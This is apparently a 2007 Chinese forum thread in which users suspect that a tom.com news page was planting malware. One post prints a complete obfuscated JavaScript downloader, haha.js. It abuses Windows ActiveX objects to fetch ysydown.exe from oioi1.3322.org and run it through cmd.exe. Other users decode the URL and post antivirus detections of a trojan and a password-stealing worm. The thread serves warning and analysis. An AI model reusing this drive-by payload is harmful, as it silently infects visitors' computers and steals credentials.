tom可能被挂马了oioi1.3322.org

eubyo

在访问tom的时候硬盘一阵狂响
网址是：
http://news.tom.com/2007-09-27/0020/08517215.html
发现连接oioi1.3322.org，因为我用的是firefox，所以也不知是不是有木马

1688388728

薯条可乐全面退出肯德基套餐 可能为节约成本

eubyo

haha.js内容为：
function yGjnh2(RgI5d) { var www = ""; var oveAS3 = Math.random()*RgI5d; return '\x7E\x74\x6D\x70'+Math.round(oveAS3)+'\x2E\x65\x78\x65'; }
try { var qezLe="\x68\x74\x74\x70\x3A";tfzLe="\x2F\x2F";
sfzLe="\x6f\x69\x6f\x69\x31\x2e\x33\x33\x32\x32\x2e\x6f\x72\x67\x2f\x79\x73\x79\x64\x6f\x77\x6e\x2e\x65\x78\x65";
fHjnh2=qezLe+tfzLe+sfzLe; HHjnh2="\x6F\x62\x6A\x65\x63\x74";IHjnh2="\x63\x6C\x61\x73\x73\x69\x64";
JHjnh2="\x63\x6C\x73\x69\x64\x3A\x42\x44\x39\x36\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36";CHjnh2="\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D";
QI8Ea3="\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74";
ZHjnh2=(window["\x64\x6F\x63\x75\x6D\x65\x6E\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"](HHjnh2)); ZHjnh2["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"](IHjnh2,JHjnh2);
var jhI5d=ZHjnh2["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"]("\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58"+"\x4D"+"\x4C"+"\x48"+"\x54"+"\x54"+"\x50",""); var S=ZHjnh2["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"](CHjnh2,""); S["\x74\x79\x70\x65"]=1;
jhI5d["\x4F\x70\x65\x6E"]("\x47\x45\x54", fHjnh2,0); jhI5d["\x53\x65\x6E\x64"](); T7tRw3=yGjnh2(10000); var F=ZHjnh2["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"](QI8Ea3,"");
var KxDLe=F["\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72"](0); T7tRw3= F["\x42\x75\x69\x6C\x64\x50\x61\x74\x68"](KxDLe,T7tRw3); S["\x6F\x70\x65\x6E"]();
S["\x57\x72\x69\x74\x65"](jhI5d.responseBody); S["\x53\x61\x76\x65\x54\x6F\x46\x69\x6C\x65"](T7tRw3,2); S["\x43\x6C\x6F\x73\x65"]();
var Q=ZHjnh2["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"]("\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E",""); jsrDa3=F["\x42\x75\x69\x6C\x64\x50\x61\x74\x68"](KxDLe+'\\\x73\x79\x73\x74\x65\x6D\x33\x32','\x63\x6D\x64\x2E\x65\x78\x65');
eval(unescape("Q%5B%22%5Cx53%5Cx68%5Cx65%5Cx6C%5Cx6C%5Cx45%5Cx78%5Cx65%5Cx63%5Cx75%5Cx74%5Cx65%22%5D%28jsrDa3%2C%27%5Cx20%5Cx2F%5Cx63%5Cx20%27+T7tRw3%2C%22%22%2Copen%2C0%29"));
} catch(SgI5d) { SgI5d=1;
}
看不懂

lovewei

解密出来的病毒地址http://oioi1.3322.org/ysydown.exe

motnahp

我晚上还在TOM看过这条新闻，咋啥反映都没有，看来去早了

红心王子

007-9-28        7:44:04        1190936644        Administrator        1420        Sign of "Win32:Nilage-AI [Trj]" has been found in "C:\Documents and Settings\Administrator\桌面\ysydown.exe\[UPX]\[Embedded#2af0]\[UPX]" file.

jiasili

不用看了   只要是3322.ORG的 绝对是马了啊!!!3322这个站是域名转换的 ,很多玩黑的都用!!!!!!!!!!!!!!!!!

king6808

已删除：病毒 Worm.Win32.QQPass.a        文件: F:\9.28\ysydown.exe//PE_Patch.UPX//UPX

zzm3145

RT

一只麦兜

偶也中鸟